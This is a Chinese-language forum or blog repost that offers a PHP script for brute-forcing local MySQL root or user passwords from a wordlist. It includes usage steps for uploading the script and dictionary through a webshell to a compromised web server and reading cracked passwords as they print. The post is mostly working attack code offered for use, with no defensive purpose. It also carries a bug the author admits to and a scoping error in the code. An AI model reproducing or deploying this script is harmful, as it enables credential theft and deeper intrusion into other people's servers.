对不起各位,之前由于网上转来的代码没有经过实验,今天自己测试了一下才发现,原来的代码根本就不能用,一直报错。由于对php不熟悉,为了解决这个问题我调试了N久,现在才弄明白为什么原来的代码不起作用。之前的代码转自webshell的博客http://www.webshell.cc/2663.html,这个代码本身有问题,导致我自己测试N多次不成功。最后终于在lcx的博客上面得到修正版的代码,本人只是加了个header防止中文乱码。webshell博客里面的代码问题是没有考虑到字典文件中的回车换行问题,导致出错。。

<?php
header("Content-Type:text/html; charset=UTF-8");
set_time_limit(0); //脚本不超时
$host="localhost";
$user="root"; //用户名
$password=file("password.txt"); //密码字典

for($i=0;$i<count($password);$i++)
{
    $pass=str_replace("\r\n","",$password[$i]); //剔除多余的回车+换行
    connect($user,$pass);
    flush();
}
echo "扫描结束<br>";

function connect($user,$pass)
{
    $conn=@mysql_connect($host,$user,$pass);
    if($conn)
    {
        global $host;
        echo "主机:<font color=blue><b>".$host."</b></font> 密码已破解,密码为:"."<font color=red><b>".$pass."</b></font>";
        exit();
    }else
    {
        echo "";
    }
}
?>

代码简单的不能再简单了,就不解释了,功能很简单,传到WebShell上去暴力破解本机的MySql数据库Root或其它用户的密码,因为是破解本机,所以速度奇快无比,貌似还有点效果,这个以前有人发过,这个是我改过的。

已知有一处Bug,不清楚为何,密码数量少的时候,准确率100%,但是当密码数量达到5000以上时,准确率0%,明明正确的密码,却不显示正 确,除非你把这个密码放在字典最末尾,才显示正确,不清楚是什么原因造成的,开始以为是暴破间隔时间太短,加了延时函数,还是这样。。。

或许只是我个别原因?各位试试就知道了。

用法:

1、修改 PHP 代码中的用户名

2、准备字典 password.txt,每行一个,理论上支持无数行。

3、将脚本和字典一起传到目标Web服务器上,访问该脚本,即开始暴力破解,破解结果实时输出,盯着就行了。

转自:http://lcx.cc/?i=2162